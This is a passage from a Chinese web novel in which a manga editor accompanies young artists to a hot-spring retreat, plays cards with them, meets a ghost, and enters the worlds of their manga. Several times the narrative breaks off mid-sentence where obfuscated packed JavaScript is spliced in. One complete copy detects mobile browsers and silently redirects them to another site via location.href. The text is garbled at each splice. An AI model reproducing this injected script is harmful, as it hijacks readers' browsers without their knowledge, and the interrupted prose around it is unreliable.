环抱着湖泊与小镇的青山上,露出一座红色鸟居的身影。 这大概很符合樱岛人对世外桃源的想象了。 其实进入这座小镇有两条路,村后的这条路要翻山进来,村前的路可以直接从田野中离开。 但历年来带队的编辑,都强烈推荐先走更远的路线—— 第一步,让漫画家们先观赏幽深僻静的山林,生出远离人群的萧索寂寞的情绪; 第二步,让他们在第一眼的俯瞰里,看见整座小镇最美丽的面貌,从而直接俘获他们的心灵; 第三步,等几天的研讨营结束后,巴士车再由另一条平坦的大路从容离开,依依不舍的漫画家们还能在田野中多回望小镇几眼,强化对这场研讨营的美好回忆。 这种安排的确折服了整车的乘客。 大概是为了表达这种感动,他们纷纷对风景发表意见。 柊贤一已经倾身,快要贴上玻璃窗,正在认真俯视研究小镇的地形,“进村出村只有两条路,旁边都是山区,如果有暴雨制造一场泥石流的话,就与外界隔绝了,是绝佳的发生‘暴风雪山庄’案件的地点。” 在座的毕竟都是些思维活跃的准漫画家。 除了老派少年松阳勇之介嘟哝了一句“不要说这么不吉利的话啦”外,其他人都很兴奋地参与了讨论。 同样作为高中生的橘寅花就很自由地放飞想象力,“我觉得那个湖更好!适合被陨石砸一砸——引发的洪水将会淹没整个小镇!而拥有预言能力的少女,在不被大人们信任的情况下,为了拯救这个小镇,不得不和班上最讨厌的捣蛋鬼联手,完成一次最大的恶作剧,将所有人逼去山里面避难。” “哼。”中二病青年漫画家斗沢封真抱着胳膊发表高见,“村民们在田野里挖出来一枚古怪的炮弹,陈列在镇中间的广场上。之后,突如其来的瘟疫袭击了整座小镇。” 黑野编辑回头看了他一眼。 “随着瘟疫的蔓延,人们互相敌视,将独居的老人、最先感染病症的弱者、有仇怨的对象视为传播病魔的使者,设置了隔离区,甚至在广场上举办火祭。” 他越说越激动,“外界得到消息后,为了避免瘟疫扩散,将其封锁,让小镇自生自灭。人们因为病痛无法下地干活,食物越来越紧缺,为了守卫和争抢资源,以家庭为单位展开了最后的血战。” “瘟疫到来后,田野里的作物会发生什么变异呢……”创作星际农场漫画的三浦美雪大概又想起了自己的菜园。 51.合宿就是打牌 “这种小镇里应该有封印什么古时候的了不得的大妖怪吧。”女子三人组里负责脚本的小宫朝岚说,“在危难关头,应该会有人去许愿拯救小镇,却放出来无法控制的恶魔吧?” “这个好!”橘寅花赞了一句,又回头左右看看,“那位大叔你都没有说过话吧?藏了什么好点子吗?” 东云茜存在感太低,很多时候会遭人忽略,冷不丁被揪出来,反而有些受到惊吓。 他刚刚在发呆,没怎么进入大家讨论的恐怖幻想话题,还沉浸在眼前的美景里,“我……只是在想另一个人,要是她也能来这里看看就好了。” “另一个人?”橘寅花立刻来了兴趣,“是单相思对象吗?” 恋爱轻喜剧作者的确会对这种事情感兴趣。 之前在午餐的时候,她还盯着黑野编辑的脸认真看了很久,甚至跃跃欲试想要动手将眼镜摘下来,却被阻止了。 她兴致勃勃地问,“请问您结婚了吗?” 这也是个需要慎重对待的问题。被直接询问时,若如实回答没有的话,可能会被当成某种暗示或许可。若无意的话,应该在一开始就断绝所有可能性。 黑野编辑并不希望漫画家们过度关注这个问题,但也没到要为此骗人的程度。 他熟练地给出自己版本的标准答案,“无可奉告。” “哇,好神秘!”橘寅花的热情立刻被点燃了,之后跑去和女大学生们一起嘀嘀咕咕地讨论。 等到下车时,她再次来打听,问题已经发展成“黑野编辑的神秘恋人究竟是男是女,是上司还是下属”了。 这种讨论的性质,和对小镇的灾难安排差不多,都是漫画家们活跃的发散思维在习惯性地运作和整合灵感。 黑野编辑并不放在心上,随便她们去遐想猜测。 一行人在温泉酒店前下了车,这就是接下来几天他们要度过合宿生活的地点。 由于五月是温泉淡季,又是在工作日里,这家建筑风格传统的温泉旅馆几乎算是被他们独占了。 在有些寒意的夜晚里,经历了精致料理、私人浴汤的一系列招待后,众人心满意足。 连柊贤一都不再说“五月里泡温泉很奇怪”之类的话,而是改口说“工作日里的度假偷闲简直是至福”了。 小镇的夜晚很黑很冷,洗浴过的客人们没有哪位想要外出夜游,也没人特别不识趣地在第一天就提早离群。 慢慢熟悉起来的漫画家们,聚在温暖的聚会厅里喝茶聊天,打了一晚上的纸牌。 直到晚上八点半的时候,才有第一个不协调的音符出现。 “明明大家都是竞争对手,一个个都装作感情这么要好,不是搞笑吗?”青年斗沢封真冷笑着说完这句话,甩上门,独自回房间了。 如果忘掉他之前在牌局中愈挫愈勇却连输十局的情况,再忽略掉他被贴了满脸的纸条,这句话听上去可能还蛮伤人的。 但现在大家都只是同情地哈哈大笑。 【你是故意针对他的吧?】匣子怀疑地问。 匣子已经慢慢留意到了,黑野编辑的运气绝对没有自己夸口的那般好。 之所以在日常生活里很容易忽略这点,全靠黑野编辑自身的硬实力素质好。他无论做什么事情都很认真,思维也周密,从不丢三落四,很少赌运气,连吃饭走路这种小事都是先看好了再行动,绝不会一脚踩中有积水的行人道地砖——从不给霉运发挥的机会。 偶尔有什么实在躲避不了的问题,黑野编辑也都能尽快妥善地处理好,每次都有惊无险地度过。 在旁人看来,这就是个大多数时候都一帆风顺,仅有少数时刻会运气不好的正常人。 但真相呢? 匣子现在回想,才觉得黑野编辑最开始的那场骨折就很可疑。 而让黑野编辑肺炎的那场暴雨,和《夜樱》世界的异变没有半点关系,也适逢其会,来得太凑巧了,搞了个里外夹击。 否则黑野编辑没必要再次入院的。 《病人守则》世界的那场波折倒是没有给黑野编辑带来什么危害。匣子为此非常骄傲,这肯定是全靠自己护卫有功。只要有自己在,黑野编辑就绝对不会出事! 至于跟丢了特殊污染源的线索,那是匣子自己的事,不能算不能算。 等到了这群人一起打牌的时候,匣子能直观地看到黑野编辑每轮的初始手牌。 这和什么谋略、准备、计划、保护都没有关系。 自那场让它印象深刻的抽卡之后,匣子终于再次见识到了,黑野编辑这可以用见鬼来形容的运气,究竟深邃到了什么地步。 玩牌而已,又没有“积分倒扣五十万”这种惩罚,运气糟糕点也无所谓。 反正大家都只是随便玩玩,输赢都不是大事。 匣子最开始就是这样想的,但很快它就发现,黑野编辑有时候的确出牌随意,有时候就会玩得很认真。 自诩为宿主万事通的匣子,自然不会放过这个研究机会。 很快,它就发现,黑野编辑是在针对某个人。 如果这个人不在牌局里,或是牌局中的胜负形势很符合黑野编辑的心意,黑野编辑就会随意出牌,输赢无所谓。 但如果这个人还没有退场,他和黑野编辑在同一边的话,黑野编辑就会全力保他赢,他和黑野编辑是对家的话,黑野编辑就会优先送他出局。 黑野编辑手上的这副手牌,想要每局都赢很难,但他算牌厉害,对场上的局势掌控得极为准确,该拆掉炸弹或是连顺的时候从不心痛,毕竟他的目的不是自己赢,而是要全力压制或保送某个人的输赢。 黑野编辑自己是输多赢少,其他人只觉得他牌风不留情面,也不给自己留余地,倒没感觉到有什么不对劲。 但是被黑野编辑针对的那个对象,很快就从赢和输的反馈里反应过来了。 斗沢封真并不是一个迟钝的人。 青年心高气傲,明明可以选择在别人的帮助下赢到底,却偏偏要试试自己的能耐。他选择了坐到黑野编辑的对面,开启了一场被从头压制到尾的逆风局,得到了十连败和一脸的小纸条。 在橘寅花高高兴兴给他贴小纸条的时候,他认真地从纸条缝里盯着座位中默不出声的黑野编辑。 等到女孩们欢呼着又一次团结取得了胜利时,他双手插兜地站起身来,丢下狠话就走了。 黑野编辑正在低头洗牌。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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只有橘寅花是完全懵懵懂懂的,三位女大学生对局势也有自己的理解和看法。 她们默默地交换了个眼神,然后凑到一起嘀嘀咕咕,不时露出神秘的笑容。 “嗯,”森川莲果断地点点头,说,“十连输就是彻底出局了,与其在这里心不在焉地打牌,编辑先生也还是快点回‘自己’房间去吧。” 黑野编辑就这么被女孩子们赶了出来,感觉到有些莫名其妙。 小宫朝岚还特地从门里探出个脑袋来,温柔地笑着告诉他,“我听工作人员说,浴场开到晚上十点哦。” 被迫离开前,黑野编辑看了眼鹰之助。年轻助手还在和阿部翔太一起打体育电子游戏,但在编辑的视线落下来时,鹰之助似有感知地转头看了过来。 黑野编辑朝他打了个手势,示意他留下来看场,让这群漫画家不要玩到太晚。 鹰之助却没能领会精神,问着“您是要回房间了吗”就将手柄一丢,急着追上来。这种抛弃同伴、毫无体育精神的做法,立刻让阿部翔太在电脑面前左支右绌,发出一连串惨叫。 女孩子那边传来一些小声尖叫,一阵快速激烈又内容不明的小声讨论后,她们达成一致意见,决定这次先阻止鹰之助。 然后将同样莫名其妙的鹰之助拦了下来。 黑野编辑低头给鹰之助发了条短信,交待一句,挥挥手走了。 52.普通的闹鬼 离开热闹的大厅后,晚风有点冷。 外面没有其他人了,但是走向客房的路上,黑野编辑听见走廊深处传来吱呀吱呀的脚步声,像是有人穿着拖鞋,在年久失修的木地板上来回徘徊。 斗沢封真? 黑野编辑记得其他人都还留在聚会厅里。除了打牌的这群人、玩电子游戏的人之外,家庭主妇三浦美雪、前漫画助手东云茜还有老成少年松阳勇之介三个人也都还在,似乎是在边喝茶边交流园艺心得,也算是找到了跨越年龄和性别的共同爱好话题。 温泉旅馆里应该没有其他住客了。 工作人员也不会在这个时候来打扰客人。 是青年漫画家有什么心事吗? 黑野编辑这样想着,朝那边走去。 可就在他快要接近的时候,那阵徘徊的脚步声突然停止了。 黑野编辑不紧不慢地走过拐角,看到走廊上空无一人,只有木地板在暖色调的灯光下泛着幽幽的光亮。 他回房间了?不。黑野编辑看了眼房间上的名牌。他记得每位漫画家的房间名字,这次创作营里应该没有成员住在这条走廊上。 【别瞎操心了,】匣子说,【只是普通的闹鬼而已。】 “哦。” 黑野编辑接受了匣子的解释。 他记得匣子是个有鬼论者。在谈论久世寿穗的死亡时,匣子曾经提过,人在死后可能会留下生前意志的残渣,也就是所谓的幽灵。 这里是温泉旅馆,有过许多游客,尤其是温泉受老人喜爱,留存有一些“意志的残渣”也是正常的。 他又握住手掌,【这种幽灵,对活着的人类会有什么妨害吗?】 【可能会吓到人。】匣子简单地说。 这里的幽灵在匣子看来太弱小了,甚至没有成型的自我意识,除了吓人什么也做不到。 【要我处理掉吗?】匣子问。 黑野编辑想了想,【不用了,等离开前再说吧。】 【或许有漫画家会喜欢这个。】 【哪位?】匣子来劲了,【我可以去满足他!】 黑野编辑冷静地拒绝掉。 匣子做事情没有分寸,让它出马的话,又有点过了。 研讨营的那些漫画家们对此段对话毫不知情。 因此,也无人对这种安排提出抗议。 第二天,黑野编辑照常醒来。 今日的研讨活动被安排在了上午。事实上,历年来都有漫画家甚至编辑提出建议,将集中研讨活动的改到下午,这样更符合漫画家们的日常作息。 但黑野编辑并不想太迁就这种习惯。 健康的作息是长期稳定保持工作状态的基石。漫画连载又是一项极度消耗体力和精力的工作。与其坐视漫画家们带着不健康的生活方式进入这个行业,在无法停歇的连载赛跑中不断透支消耗寿命,不如在新人阶段就主动帮助他们培养更好的生活习惯。 早起鸟和夜猫子的先天区别是存在的,有人在基因上就是更适合晚起工作。但现代社会里,所有人都号称自己是夜猫子时,绝对有人在撒谎。 而且,就算根据科学研究数据,夜猫子型基因的生物钟可能也就比早起鸟要差一两个钟,绝对不至于要拖到下午才能进入工作状态。大多数漫画家起不来只是因为晚上没睡够,不试试看的话,他们未必知道自己早上的状态能有多好。 昨天晚上,鹰之助应该已经忠实地执行了指令,在十点前劝说所有人去睡觉了。 一晚的补觉是不够的。黑野编辑做好了今天早上有人起不来的心理准备。 让他欣慰的是,去用早餐的路上,他看到有人已经在锻炼了。 森川莲、近藤海、小宫朝岚,三位女大学生来自同一个社团,但并不是漫画社团,而是剑道社团的。 她们此次出行都带了护具和练习用器具,一大早就在旅馆庭院中练习,精神奕奕。 阿部翔太作为体育爱好者,已经完全缠上了鹰之助,甚至下定决心要跟着一起去晨跑,可惜心有余而力不足,在早饭前脸色发白、一步三喘地走了回来。 比他多跑了几个来回的鹰之助,回到旅馆后也不急着休息,先去帮他倒温水和拿毛巾。 东云茜也起得早,应该算是养生爱好者,没有不自量力的运动计划。 他早上去外面镇上散步了一圈,回来时精神很好,看到黑野编辑还打了个招呼。 除了阿部翔太可能是一时兴起跟风早起外,其余几个人应该是可以让人放心的。 三浦美雪、柊贤一都是不早不晚刚刚好,一来到厅里坐下,就正好赶上吃早餐的。 这两位都是成年人,有理性的认知,在把握时间上很有计划性,也不用太操心。 橘寅花起晚了,扑进来吃早餐,一边吃一边打呵欠,过一会儿就精神了,开始和别人讲她昨晚做的关于一场离奇冒险的美梦。 明明昨晚最早回房间,斗沢封真今天却起得迟了,差点没赶上早餐。 青年也不慌不忙,照样是双手插在裤兜里,慢条斯理地走进来,坐下后,比起米饭、烤鱼、凉拌菜和味增汤,他选择了先吃甜点。 ——如果按照他那个“残酷的社会丛林法则”的话,这种表现应该是没机会吃上饭的。 “今晚还要打牌吗?”森川莲突然问了一句。 正在吃抹茶蕨饼的斗沢封真,突然抬起眼看向黑野编辑。 模模糊糊的睡意散去,青年的眼里重新充满了斗志,“你今晚来吗?” 黑野编辑微微点头,应允这个挑战。 青年咬牙切齿地说,“我参加。” 年轻女孩们全都低下了头,肩膀微微抖动。 昨晚没有参加的鹰之助,此时也不在状况内,有些好奇地问,“打牌这么好玩吗?” 女孩们故意不说话。其他人也都不清楚情况。 只有柊贤一愿意回答他,放下吃完的碗筷,语气平淡地说,“还行吧。” 今天集合的倒数第一名,依旧是少年松阳勇之介。 他没能赶上早餐。 鹰之助帮他留了早餐,去他的房间叫他。等到研讨营正式开始时,少年才像昨天那样匆匆忙忙地跑进来,满脸通红地到后排坐下。 不是像斗沢封真那样对时间不在乎,而是很有羞耻心,却做不到。 黑野编辑问匣子,【你知道他昨晚几点睡的吗?】 【还挺早的啊,比半数人都要早。】 匣子说,【睡得最晚的是斗沢封真,其次是柊贤一。】 匣子又补充一句,自己没有偷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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由于黑野社内部的一些变故,今年的入围赛开始得比往年早,有几位作者的参赛作品已经刊登,甚至进入连载了。 其中当然包括东云茜的《夜樱》。 作为独居的全职漫画家,又有着丰富的漫画助手经验,一旦将故事主线理顺后,东云茜的创作速度是非常职业化的,能轻易跟上连载的需求,不像有几位新人,进度较慢,还在和编辑磨第二话的分镜修改意见。 也有的作品,后续内容已经做出来了,但是编辑部内的意见分歧较大,刊发也被押后了。 每位漫画家都有自己要面对的难题。 哪怕是已经开始连载的人,也在面对读者评论中刺耳的部分,要尽快作出心态上的调整。 在这方面,东云茜也表现得比较好。 据他所说,“以前画别的内容时,已经习惯挨骂了。” “看不出来,大叔还蛮厉害呀。”橘寅花说。 这位高中生的恋爱轻喜剧每话内容较短,适合在杂志刊物中插空补白,也已经开始作品连载了。 “每次看到有读者说我思想幼稚,没有内涵,我就好想要骂回去,想要把他们都画成正经的大傻瓜!” “这是不行的,编辑会阻止。”职场人柊贤一也很能克制自己的情绪。 他的推理漫画是系列短篇,可以不定期刊登,已经登过一期了。 他得到的负面评论恰巧是橘寅花的反面,被评价为作品太烧脑了,读起来太累。 “说起来,”近藤海认真看着东云茜的分镜,已经有好一会儿了,她若有所思,“这个侦探的人设,是不是很像我们的编辑先生啊?” 53.凶手与受害者 “呃……”东云茜有些尴尬,不知道如何解释。可怜的漫画家至今也没搞清楚当初那个梦境究竟是怎么回事。 作为当事者,黑野编辑也不适合回答这个问题。 无论说“是我”还是“不是我”,都不太对。不过他有责任为东云茜解围。 “关于这个问题,”就在黑野编辑编辑将要说话的时候,鹰之助语气愉快地开口,“这些人设和分镜已经通过编辑部的审核了哦。” 漫画家们对此都没有意见了。 “真好啊,”小宫朝岚温柔地发问,“那我们也可以画吗?” 近藤海点头附和,“在参加研讨营的这短短一天里,我们就有了许多新灵感,”她冷静审视的目光在座位中逡巡,“实在很想要画出来。” 这原本就是举办创作研讨营的目的和意义……吧? “我也想画!”橘寅花立刻举手加入,“编辑先生实在太好看了!就是眼镜给人的感觉不对,要改改,太冷淡了!” “这样才好吧?”森川莲发表意见,她的语气从来果断,“这就像豪华刺身拼盘,总得垫上碎冰块,再添点干冰用冷雾来做妆点——越冷,越昂贵。” 话题逐渐往不合适的方向发展了。 黑野编辑期待鹰之助像先前那样发挥救场能力。然而鹰之助几次欲言又止,最终义无反顾地冲入了这场对话之中——“黑野老师最吸引人的地方,根本就不是好看这么肤浅直白的优点,而是他的人格魅力才对!” 没救了。 在女孩子们细碎兴奋的讨论声中,黑野编辑轻咳了一声,请柊贤一继续交流创作心得。 “嗯……”柊贤一决定暂时不提自己对新案件的构思。 《牌戏》,一位在牌局中遭受戏弄的青年,复仇杀人的故事。 杀人手法他才想出来一半,有几个矛盾没有解决,打算稍后单独找黑野编辑讨论一下——他感觉这个人会有好点子。 唔,他决定将人设再改改,尽量模糊一些。 下午是自由创作时间。 只交流讨论经验,不实际去做做,是不会有长进的。在上午的交流结束后,大家对各自的作品多少有了点新的想法,或是捕捉到了新鲜的灵感,需要将其转化为成果。 像东云茜这样已经进入连载状态的漫画家,更是需要独处的创作时间来画下一周的原稿。 新人漫画家们可以留在大厅,也可以回到自己的房间开展创作。 事实上,所有人都选择了后者。毕竟创作是一件私密的事情。就连三位合作画漫画的女大学生,也说要去小房间里放松地讨论。 漫画家们都回房间了,编辑们还是要留在大厅里的。 他们随时准备着为漫画家提供咨询服务或其他帮助。 最早来的是柊贤一,他找黑野编辑聊了新的案件灵感。 在编辑的启发下,柊贤一琢磨出一条杀人妙计,然后就迫不及待地走了。 松阳勇之介也来了,诉说了一堆少年人的烦恼,得到了鹰之助的一大通安慰。 最后高高兴兴地走了。 女子三人组里的小宫朝岚来找黑野编辑取材,单独询问了很多事情,从喜好问到情史,就算得到一连串的无可奉告也不改笑容,意犹未尽地被鹰之助送走了。 其他人都没有出现,看来创作都很顺利。 匣子问,【要去他们的漫画世界里看看吗?】 【为什么?】黑野编辑等匣子给出一个理由。 【之前抓取到的特征都失效了,不进去瞧瞧,就不知道有没有潜伏的污染啊。】这也是匣子最早来找上黑野编辑的原因,【你也不想等到像上次那样异变爆发影响到现实,才发现漫画出问题了吧?】 理由审核通过。 黑野编辑给出条件限制,【如果没有异常的话,尽量不要影响世界的正常‘发展’和作者的创作。】 【纯观光是吧?懂的懂的,】匣子说,【我会准备好隐身支援的。】 只要不乱动世界的秩序,这种看似是超常规的设定,反而不容易遭到世界排斥,几乎不用消耗什么能量。 哪怕已经过了新手保护期,但是将这种服务定价为免费,也是很合理的。 带着这样轻松的心态,匣子愉快地带着宿主一起出发了。 黑野编辑猛然睁开眼睛,觉得身体的姿态不对。 他之前在进入漫画世界时,会第一时间感觉到外部环境的细微变化,但自身的姿势和着装是与现实世界同步的,就算是被《病人守则》的涂鸦世界强制降级了外貌特征,对自己身体的感知也没有变化。 可是现在不对,他从进来前端端正正的坐姿,变成了以一种奇异的姿态展开身体,背靠墙站着? 【天哪!你先不要看这些!不要相信这个人是你自己!——千万不要死!】 当匣子发出语调惊恐的警告时,黑野编辑已经睁开了眼睛,看到了眼前的场景。 封闭的房间,散落的纸牌,鲜血,铁丝,蜡烛。 地板上画着一个神秘的降灵仪式图案。 黑野编辑试图站直身体,但是四肢好像被什么东西固定住了,他侧头看了眼自己的手臂。 几十张纸牌切入了他的手臂,又贯穿血肉,深深地钉入墙上的木板中,只露出鲜血淋漓的牌角边缘。 他只看了一眼,就有灼烧般的疼痛从肢体神经中席卷而来。 【你先不要到处乱看!让我先救你下来,修复你的身体!】匣子再次阻止他观察自身。 “不要乱动案发现场。我知道我现在是具尸体了。”黑野编辑阻止匣子。 因为连手掌也被纸牌穿透,无法握住那颗痣,他只好开口说话。匣子也没想到新方案这么快就被现实找到了漏洞,怀疑这依旧和黑野编辑的运气有关。 黑野编辑说,“我不会因此影响到对现实中自己的认知——我不会死的,你放心。” 他就当做自己是附身到了一具无生命的躯壳里,和上次的火柴人差不多。 尸体是不会再死一次的。 尸体也不该有痛觉感知系统,当他想到这一点时,幻痛立刻消失了。编辑的精神放松下来,继续查看自己的身体。 匣子刚刚想要阻止他发现的致命伤是在胸口上。 身上各处插着的纸牌看着恐怖,但其实都不致命。 为了让纸牌能够顺利地贯穿肢体,要避开坚硬的骨头和肌腱。作案手法应该是先用匕首造成伤口,再将纸牌插进去。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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旅馆房间里,柊贤一为自己刚刚画出来的草图所震惊:本该早已死去的“死者”抬其头来,直视着凶手,冷静的目光既像是挑战,又像是嘲讽。 没错,就是这样!柊贤一震惊地想,太合理了,在牌戏中占尽上风的智者,怎么会轻易被计算能力不如自己的对手给杀死? 所以这根本就不是谋杀,而是戏弄! 受害者装作落进陷阱,又成功自救,故意留在原地,等待自命不凡的凶手重回现场。果然,凶手亲手领着“侦探”回到案发现场,想要享受智计上的满足感,想要在洋洋得意的炫耀后以“证人”的身份逃脱,却在气焰最高、心情最满足的那一刻,得到了来自受害者的釜底抽薪的一击。 这种受害者……太恶劣了!太……有趣了! 推理系列短篇是由同一个侦探主角串联起来的。如果能再安排一个贯穿全篇的对手,故事间的联系能更加紧密。 柊贤一曾为此做过设计过很多版形象,又都因为不够满意而推翻了,直到现在,他才终于捕捉到了这个角色! 一个擅长激化矛盾,喜爱冒险,故意用生命来考验人性的家伙。 要保住侦探主角的胜绩,这个对手必须显露出足够的能力,有为主角制造麻烦的动机,却又不能作为凶手被抓捕归案。 ——他的目的不是犯罪本身,而是为了玩弄人心。就像在牌局中玩弄人心一样。 柊贤一心情激荡,兴奋不已,留给他的唯一的问题是,这个受害者是如何骗过凶手的?手法究竟是什么? 没事,晚点可以去找编辑再讨论一下。 他觉得那个人会继续为他带来好灵感的。 54.剧情回旋镖 橘寅花和森海岚三人组的动作也很迅速,已经完成了人物草案。 好在她们画的都不是柊贤一那种短篇作品,不会像柊贤一那样,将角色当成消耗品快速利用。 ——只有推理漫画家才会这样,灵感一来就立马布置舞台,先将死者丢到万众瞩目的舞台正中央,追求个惊吓效果,然后再慢慢抽丝剥茧地解释戏法。 结果正好撞上匣子带着黑野编辑进来,造成了“死者”、“凶手”乃至漫画家的多重惊吓。 其他漫画家的动作就要慢得多。 恋爱轻喜剧里的人物情感纠葛很重要,橘寅花对如何处理新角色还没拿定主意。 森海岚三人组画的是长篇正剧,对剧情的推敲就更慎重了。 所以在这两个漫画世界里,黑野编辑虽然也被分配到了人物身份,但还未被安排到正式的剧情中出场,在世界里所处的位置很边缘,拥有一定的行动自由。 阿部翔太画足球漫画,主力队员和教练都是已经定好了的人物。他在会议上没有出声,但是也跟风了——悄悄做了个已退役球员的人物卡,放在了主角家附近居住。 至于剧情什么的,也还没有安排,以后看情况再说,未必用得上。 这种简单的身份,在调查世界时更加自由。 不像女漫画家们绞尽脑汁,为新人物安排了一身的复杂身世、恩怨纠葛、爱恨情仇,看上去不明显,但走起来一步一个暗雷。 已退役的黑野球员站在河边吹风,看着主角队伍的少年们结队从河堤上跑过,且每个人脸上都流露着心理健康的笑容,久违地感到一种轻松感。 【这个世界暂时没有什么问题,去下一个看看吧。】 中二青年斗沢封真,对自己的漫画内容把控很严格,没有增加新人物。 老成少年松阳勇之介,还在专心地推进自己的王道剧情,没有余力分心。 在这两个世界里,黑野编辑终于能够休息一下,使用匣子提供的隐身衣,轻松地完成检查任务。 家庭主妇三浦美雪,给她的星际农场安排了一台新电脑,然而电脑还在星际运输路上。 身为电脑的黑野编辑,暂时还无法突破限制,抵达主线发生的地点。 最后剩下的就是东云茜了。 再次回到《夜樱》世界,黑野编辑毫无意外地上线登陆了黑川凛的人物角色。 然后看见迎面而来的一个拳头。 【往右边躲!】 黑野编辑侧身躲过那个拳头,顺便也避开了从左身后敲来的一记闷棍。 是围攻。 这回上线的时机也不是很凑巧。如果黑野编辑没能第一时间反应过来,接替黑川凛的行动,挨揍是小事,被人趁机下黑手的话,没准能制造今天的第二个“死者”。 匣子暗暗抱怨黑野编辑的坏运气。 黑川凛的手杖还在。 过去在《夜樱》世界的那段时间里,黑野编辑已经将这种武器用得很顺手了,先抬起手杖抵挡住正面的攻势,退到一旁的墙壁边,避免腹背受敌。 他稍微重新适应了下新的平衡——黑野编辑在现实世界中的骨折已经恢复了,然而瘸腿设定已经被固化在了黑川凛的人设里。 之后才开始还击。这时候仔细一看,对手只是几个小流氓而已。除了人多势众,就没什么能耐了。 这大概是黑川凛作为侦探,日常要处理的小麻烦。 和主线剧情应该没什么关系。小流氓们身上也没有异变的征兆,《夜樱》世界目前看来已经恢复正常了。 黑野编辑轻松地用手杖一个个敲掉了这些流氓的武器,又打落他们想要出拳的手腕。 和深海变异生物相比,这些人类的武力值实在不算什么。 【我现在才意识到,】匣子有些自我怀疑地说,【你打架是不是其实还蛮厉害的?】 它总觉得黑野编辑爱划水,因为黑野编辑从来不接受它那些酷炫的帮助,也不追求值得夸耀的战果。 面对深海怪物就只是简单地挥舞杖中剑,被困在手术室里也能随手借用各种工具,遇上胧车了还闲庭信步。 ——能用战略解决的问题从来不用战术,能用战术解决的问题就不会直接动手。 但真要动手的时候,看着简简单单、应付了事,好像也没输过。 智商好,反应快,就能有这么大的优势吗? 【这个侦探的身体素质挺好的。】黑野编辑说。 东云茜调整过黑川凛的人设,修改的不仅是外在的容貌和服饰,还结合侦探的职业和剧情需要,增加了许多细节。除了瘸腿的设定外,黑野编辑刚刚也适应了下新的身高和体能。 这样挺好的。 黑野编辑无所谓被当成取材对象,但他可不希望在自己负责的不同漫画中,出现千篇一律的人物设定。 目前看来,每位漫画家都有自己的风格和想法。 今天不得不扮演的几个角色,虽然原型都是自己,但具体形象、性格可谓是天差地别——反正都和原本的自己关系不大了。 事情没有简单地平息下来。 黑野编辑不打算在这些和主线剧情关联不大的路人喽啰身上多浪费时间。 侦探的社会关系很复杂,一般来说,就算遇袭,也不会指望从底层打手身上能问出什么重要情报。 打退这几个流氓后,他就准备转身离开,身后却传来此种情况下最常出现的漫画台词,“等等!” 黑野编辑回头看了眼。 是新出现的一批小流氓,战斗力看起来和先前的区别不大。问题是,他们的手里挟持着人质,是一位强忍着恐惧泪水的妇女,和一位瑟瑟发抖的小女孩。 人质理当是和侦探有关系的,黑野编辑没有在东云茜提交的草稿里见过这两个形象。 小流氓急匆匆地开口揭示了答案,“喂!你也不想你的委托人出事吧?” 看来是临时新增人物,相当于剧情道具。但就算如此,眼前的场景还是让黑野编辑皱起了眉,手中不自觉地微微拧动手杖顶端的旋柄。 又拧了回去。 “感到荣幸吧,”小流氓趾高气昂地说,“有位大人物想要见你!” 画面一转。 是黑野编辑在《夜樱》世界中已经很熟悉的漫画转场。 罩头的黑布被人摘了下来。 在此之前,黑野编辑已经再次感知到了自身的姿态变化。人是跪坐在座垫上的,手腕是被缚在身后的。 看来,漫画家,或者是自行“发展”的世界,已经放弃了思考凶手如何捕获侦探的过程,决定直接呈现最终的成果。 再怎么强的角色都躲不过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17098762|190811||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这种剧情杀。 只要条件合理,黑野编辑就能接受。 不过,为什么要用头罩?蒙眼的作用一般是为了让人不知道自己所处的位置。可是,黑川凛应该很清楚自己身处何地,将他绑来这里的人应该也知道这点。 眼前是一间装潢华丽,风格传统,又很幽静的空房间。 黑野编辑来过这里。这里是佐伯雄曾经工作过的地下俱乐部,他曾经冒用良平先生的名义,以与人有约的借口,在这里短暂地停留过。 桌对面的座垫上,坐着一位年轻而神态傲慢的短发男人。他手里正转动着一个清酒的酒杯,眼神斜睨着看过来,问,“你知道,我在这里等了你多久吗?” 看来这就是当初与自己有约的对象了。 黑野编辑心想。 【该还的债迟早是要还的。】匣子幸灾乐祸地说。 【放心,积分会还上的。】黑野编辑分心安抚了一句。 匣子却又噤声了。 黑野编辑没有理会男人的提问,而是问,“为什么要给我带头罩?” 是把读者当傻瓜吗? 那个男人愣了愣,回答,“你要知道是被带来我这里,还会乖乖就范吗?哼,怕是早就半路逃走了吧?”他咬牙切齿地说,“我这次可是特意选了和我们家族没关系的人去绑你。” 这个理由姑且可以接受,而且也和前面剧情中侦探的武力值对应上了。 侦探算是被骗过来的,而非被绑过来的。 黑野编辑继续询问剧情,“为什么要见我?” 男人重重地将酒杯搁到桌上,“难道不是该问你吗?为什么要来这家俱乐部,还要用我的名字——这不就是想要见我吗?那为什么等我来了,你却又走了呢?” 他看起来一副很生气的模样,“你究竟在想什么?……想要耍我吗?” 黑野编辑不懂他为什么这么生气,不过,至少弄清楚了他的身份。 编辑对匣子说,【你猜对了,他真的是良平先生。】 匣子高兴地看热闹,【嗯,你之前耍了他,你完了。】 侦探和良平先生。 这两个角色间有什么联系呢? 显然良平先生认为侦探在躲他,而良平先生却是花了时间和人力要来找侦探的。 是为了自己当初在营业时间捣乱,带走佐伯雄的事? 还是察觉到了侦探对俱乐部的暗中调查? 是想要找侦探算账,问出可能藏在侦探身后的雇主吗? 